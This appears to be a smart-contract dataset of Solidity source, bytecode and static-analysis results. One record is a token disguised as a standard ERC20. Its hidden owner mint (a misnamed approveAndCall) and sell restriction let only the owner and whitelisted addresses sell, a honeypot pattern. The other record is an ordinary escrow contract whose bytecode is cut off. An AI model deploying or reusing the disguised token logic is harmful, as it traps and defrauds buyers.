if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158200674bec8a78c2cb9007c2708fe7c10c8d4b5a505b8b99f660953742fc42aed8464736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,648 |
0x3efa8a96a03934927ac725406f8fc7ae4618762e
|
pragma solidity ^0.4.18;
// File: contracts/IEscrow.sol
/**
* @title Escrow interface
*
* @dev https://send.sd/token
*/
interface IEscrow {
event Created(
address indexed sender,
address indexed recipient,
address indexed arbitrator,
uint256 transactionId
);
event Released(address indexed arbitrator, address indexed sentTo, uint256 transactionId);
event Dispute(address indexed arbitrator, uint256 transactionId);
event Paid(address indexed arbitrator, uint256 transactionId);
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public;
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public;
}
// File: contracts/ISendToken.sol
/**
* @title ISendToken - Send Consensus Network Token interface
* @dev token interface built on top of ERC20 standard interface
* @dev see https://send.sd/token
*/
interface ISendToken {
function transfer(address to, uint256 value) public returns (bool);
function isVerified(address _address) public constant returns(bool);
function verify(address _address) public;
function unverify(address _address) public;
function verifiedTransferFrom(
address from,
address to,
uint256 value,
uint256 referenceId,
uint256 exchangeRate,
uint256 fee
) public;
function issueExchangeRate(
address _from,
address _to,
address _verifiedAddress,
uint256 _value,
uint256 _referenceId,
uint256 _exchangeRate
) public;
event VerifiedTransfer(
address indexed from,
address indexed to,
address indexed verifiedAddress,
uint256 value,
uint256 referenceId,
uint256 exchangeRate
);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/Escrow.sol
/**
* @title Vesting contract for SDT
* @dev see https://send.sd/token
*/
contract Escrow is IEscrow, Ownable {
using SafeMath for uint256;
ISendToken public token;
struct Lock {
address sender;
address recipient;
uint256 value;
uint256 fee;
uint256 expiration;
bool paid;
}
mapping(address => mapping(uint256 => Lock)) internal escrows;
function Escrow(address _token) public {
token = ISendToken(_token);
}
modifier tokenRestricted() {
require(msg.sender == address(token));
_;
}
function isUnlocked(address _arbitrator, uint256 _transactionId) public view returns(bool) {
return escrows[_arbitrator][_transactionId].expiration == 1;
}
/**
* @dev Create a record for held tokens
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
* @param _expiration After this timestamp, user can claim tokens back.
*/
function create(
address _sender,
address _recipient,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee,
uint256 _expiration
) public tokenRestricted {
require(_tokens > 0);
require(_fee >= 0);
require(escrows[_arbitrator][_transactionId].value == 0);
escrows[_arbitrator][_transactionId].sender = _sender;
escrows[_arbitrator][_transactionId].recipient = _recipient;
escrows[_arbitrator][_transactionId].value = _tokens;
escrows[_arbitrator][_transactionId].fee = _fee;
escrows[_arbitrator][_transactionId].expiration = _expiration;
Created(_sender, _recipient, _arbitrator, _transactionId);
}
/**
* @dev Fund escrow record
* @param _arbitrator Address to be authorized to spend locked funds
* @param _transactionId Intenral ID for applications implementing this
* @param _tokens Amount of tokens to lock
* @param _fee A fee to be paid to arbitrator (may be 0)
*/
function fund(
address _sender,
address _arbitrator,
uint256 _transactionId,
uint256 _tokens,
uint256 _fee
) public tokenRestricted {
require(escrows[_arbitrator][_transactionId].sender == _sender);
require(escrows[_arbitrator][_transactionId].value == _tokens);
require(escrows[_arbitrator][_transactionId].fee == _fee);
require(escrows[_arbitrator][_transactionId].paid == false);
escrows[_arbitrator][_transactionId].paid = true;
Paid(_arbitrator, _transactionId);
}
/**
* @dev Transfer a locked amount
* @notice Only authorized address
* @notice Exchange rate has 18 decimal places
* @param _sender Address with locked amount
* @param _recipient Address to send funds to
* @param _transactionId App/user internal associated ID
* @param _exchangeRate Rate to be reported to the blockchain
*/
function release(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration != 1);
require(lock.sender == _sender);
require(lock.recipient == _recipient || lock.sender == _recipient);
require(lock.paid);
if (lock.fee > 0 && lock.recipient == _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
/**
* @dev Transfer a locked amount for timeless escrow
* @notice Only authorized address
* @notice Exchange rate has 18 decimal places
* @param _sender Address with locked amount
* @param _recipient Address to send funds to
* @param _transactionId App/user internal associated ID
* @param _exchangeRate Rate to be reported to the blockchain
*/
function releaseUnlocked(
address _sender,
address _recipient,
uint256 _transactionId,
uint256 _exchangeRate
) public {
Lock memory lock = escrows[msg.sender][_transactionId];
require(lock.expiration == 1);
require(lock.sender == _sender);
require(lock.paid);
if (lock.fee > 0 && lock.sender != _recipient) {
token.transfer(_recipient, lock.value);
token.transfer(msg.sender, lock.fee);
} else {
token.transfer(_recipient, lock.value.add(lock.fee));
}
delete escrows[msg.sender][_transactionId];
token.issueExchangeRate(
_sender,
_recipient,
msg.sender,
lock.value,
_transactionId,
_exchangeRate
);
Released(msg.sender, _recipient, _transactionId);
}
/**
* @dev Claim back locked amount after expiration time
* @dev Cannot be claimed if expiration == 0 or expiration == 1
* @notice Only works after lock expired
* @param _arbitrator Authorized lock address
* @param _transactionId transactionId ID from App/user
*/
function claim(
address _arbitrator,
uint256 _transactionId
) public {
Lock memory lock = escrows[_arbitrator][_transactionId];
require(lock.sender == msg.sender);
require(lock.paid);
require(lock.expiration < block.timestamp);
require(lock.expiration != 0);
require(lock.expiration != 1);
delete escrows[_arbitrator][_transactionId];
token.transfer(msg.sender, lock.value.add(lock.fee));
Released(
_arbitrator,
msg.sender,
_transactionId
);
}
/**
* @dev Remove expiration time on a lock
* @notice User wont be able to claim tokens back after this is called by arbitrator address
* @notice Only authorized address
* @param _transactionId App/user internal associated ID
*/
function mediate(
uint256 _transactionId
) public {
require(escrows[msg.sender][_transactionId].paid);
require(escrows[msg.sender][_transactionId].expiration != 0);
require(escrows[msg.sender][_transactionId].expiration != 1);
escrows[msg.sender][_transactionId].expiration = 0;
Dispute(msg.sender, _transactionId);
}
/**
This function is a way to get other ETC20 tokens
back to their rightful owner if sent by mistake
*/
function transferToken(address _tokenAddress, address _transferTo, uint256 _value) public onlyOwner {
require(_tokenAddress != address(token));
ISendToken erc20Token = ISendToken(_tokenAddress);
erc20Token.transfer(_transferTo, _value);
}
}
|
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806313a46827146100b457806316afdf8e1461012757806330dbb4e4146101915780634b20ae39146101eb5780638da5cb5b14610286578063aad3ec96146102db578063e56b3e681461031d578063e664214a14610340578063f2fde38b146103aa578063f5537ede146103e3578063fc0c546a14610444575b600080fd5b34156100bf57600080fd5b610125600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091905050610499565b005b341561013257600080fd5b61018f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050610798565b005b341561019c57600080fd5b6101d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f75565b604051808215151515815260200191505060405180910390f35b34156101f657600080fd5b610284600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050610fd6565b005b341561029157600080fd5b610299611364565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102e657600080fd5b61031b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611389565b005b341561032857600080fd5b61033e6004808035906020019091905050611796565b005b341561034b57600080fd5b6103a8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091905050611972565b005b34156103b557600080fd5b6103e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120d7565b005b34156103ee57600080fd5b610442600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061222c565b005b341561044f57600080fd5b6104576123b6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104f557600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156105a257600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000206002015414151561060357600080fd5b80600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008581526020019081526020016000206003015414151561066457600080fd5b60001515600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060050160009054906101000a900460ff1615151415156106d757600080fd5b6001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060050160006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f737c69225d647e5994eab1a6c301bf6d9232beb2759ae1e27a8966b4732bc489846040518082815260200191505060405180910390a25050505050565b6107a06123fa565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff161515151581525050905060018160800151141515156108f757600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614151561093557600080fd5b8373ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff1614806109a257508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16145b15156109ad57600080fd5b8060a0015115156109bd57600080fd5b60008160600151118015610a0057508373ffffffffffffffffffffffffffffffffffffffff16816020015173ffffffffffffffffffffffffffffffffffffffff16145b15610be457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8583604001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610ad657600080fd5b6102c65a03f11515610ae757600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3383606001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bc357600080fd5b6102c65a03f11515610bd457600080fd5b5050506040518051905050610ce8565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85610c3e846060015185604001516123dc90919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610ccb57600080fd5b6102c65a03f11515610cdc57600080fd5b50505060405180519050505b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c79af26868633856040015188886040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019650505050505050600060405180830381600087803b1515610ef557600080fd5b6102c65a03f11515610f0657600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52856040518082815260200191505060405180910390a35050505050565b60006001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008481526020019081526020016000206004015414905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561103257600080fd5b60008311151561104157600080fd5b6000821015151561105157600080fd5b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600201541415156110b357600080fd5b86600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206002018190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206003018190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600401819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f9f94c44dd7c05df7528cfb5aedb137fa0cee080fb3fb54cec59f157b4424b18a876040518082815260200191505060405180910390a450505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113916123fa565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff16151515158152505090503373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614151561151257600080fd5b8060a00151151561152257600080fd5b42816080015110151561153457600080fd5b600081608001511415151561154857600080fd5b600181608001511415151561155c57600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905560048201600090556005820160006101000a81549060ff02191690555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33611683846060015185604001516123dc90919063ffffffff16565b6000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561171057600080fd5b6102c65a03f1151561172157600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f2d87480f50083e2b2759522a8fdda59802650a8055e609a7772cf70c07748f52846040518082815260200191505060405180910390a3505050565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082815260200190815260200160002060050160009054906101000a900460ff16151561180257600080fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600401541415151561186557600080fd5b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002060040154141515156118c857600080fd5b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000838152602001908152602001600020600401819055503373ffffffffffffffffffffffffffffffffffffffff167fa565b03b51c363a9b16ed01ba14aa3dc13e7edece0764e7ebbd640edc9836c70826040518082815260200191505060405180910390a250565b61197a6123fa565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060c060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900460ff161515151581525050905060018160800151141515611ad057600080fd5b8473ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff16141515611b0e57600080fd5b8060a001511515611b1e57600080fd5b60008160600151118015611b6257508373ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614155b15611d4657600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8583604001516000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611c3857600080fd5b6102c65a03f11515611c4957600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673